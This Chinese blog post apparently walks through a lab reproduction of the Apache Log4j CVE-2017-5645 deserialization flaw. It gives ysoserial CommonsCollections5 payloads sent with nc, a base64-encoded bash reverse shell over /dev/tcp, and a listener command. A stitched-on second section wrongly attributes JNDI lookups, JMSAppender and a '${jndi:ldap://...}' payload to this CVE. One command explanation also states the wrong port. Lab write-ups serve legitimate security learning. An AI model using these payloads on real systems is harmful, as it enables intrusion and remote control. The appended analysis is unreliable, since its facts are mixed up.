Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明内容
漏洞编号CVE-2017-5645
漏洞名称Apache Log4j Server 反序列化命令执行漏洞
漏洞评级高危
影响范围Apache Log4j 2.8.2之前的2.x版本
漏洞描述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

image-20231011212552558

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

image-20231011212827813

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

image-20231014142922046

执行命令进入容器

sudo docker exec -it [容器id] /bin/bash

image-20231014143048024

执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

image-20231014143127978

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

image-20231014143732992

kali开启监听

nc -lnvp 6666

image-20231014143853966

再开启一个新的终端,输入如下内容。

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

image-20231014144159746

反弹成功

image-20231014144147427

能够正确执行命令,shell反弹成功

image-20231014144706974

1.3 加固建议

更新到最新版本

### 关于Log4j2 CVE-2017-5645漏洞详情 Apache Log4j 是一款功能强大的 Java 日志框架,被广泛应用于企业级应用开发中。然而,在其早期版本中存在反序列化漏洞CVE-2017-5645),该漏洞允许攻击者通过精心构造的数据包触发远程代码执行 (RCE),从而完全控制受影响的应用程序。 此漏洞的根本原因在于 Log4j 的某些组件未能正确验证输入数据的安全性。当应用程序使用了不安全的配置或插件时,恶意用户可以利用这些缺陷注入可执行的有效载荷[^1]。 #### 影响范围 受到影响的主要为 Apache Log4j 版本 2.x 中的部分实现方式。具体来说,如果项目依赖了 `JMSAppender` 或其他涉及 JNDI 查询的功能模块,则可能暴露于此漏洞之下。值得注意的是,并非所有基于 Log4j 构建的服务都会直接受到威胁;只有那些启用了特定危险选项并连接至外部资源的情况下才会成为潜在目标。 #### 漏洞原理分析 在实际操作过程中,攻击者可以通过向服务器发送特制字符串来诱导后者解析含有恶意指令的内容。由于 Log4j 默认支持动态查找机制——即借助 `${}` 占位符语法完成变量替换工作——因此一旦遇到未加防护措施的情况便会轻易泄露系统权限给第三方人员掌控。 以下是简化版模拟场景下如何形成危害的一个例子: ```java // 假设日志记录器实例已创建好 logger.info("${jndi:ldap://malicious-server/exploit}"); ``` 上述代码片段展示了如何通过嵌套表达式调用 LDAP 接口获取额外信息的过程。假如服务端没有实施严格的白名单过滤策略或者关闭不必要的网络请求通道的话,那么就极有可能遭受此类入侵行为的影响。 #### 修复建议 为了防止进一步滥用该类问题的发生,官方推荐采取如下几种方法之一来进行补救: 1. **升级软件版本**: 将当前使用的 log4j 库更新至最新稳定发行版(>=2.8.2),因为后续迭代已经针对这一系列安全隐患进行了全面改进优化。 2. **禁用相关特性**: 如果无法立即迁移至新版本,则考虑临时移除或停用任何涉及到 JNDI 查找逻辑的相关设置项(`JMSAppender`, etc.)以减少暴露面. 3. **强化网络安全边界**: 配合防火墙规则限制不明来源地址访问内部敏感接口; 同时加强对传入流量内容的实时监控审计力度以便及时发现异常活动迹象. 4. **自定义模式匹配规则**: 开发团队还可以根据业务需求定制专属正则表达式用于筛查可疑字符组合出现频率较高的地方进而提前预警可能出现的风险状况. ```xml <!-- Example configuration snippet --> <Configuration status="WARN"> <Appenders> <!-- Remove or disable any appenders that use JNDI lookups --> </Appenders> </Configuration> ``` 以上 XML 文件摘录显示了一个简单的配置更改示例,其中删除或禁用了所有采用 JNDI 查找的操作部分。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值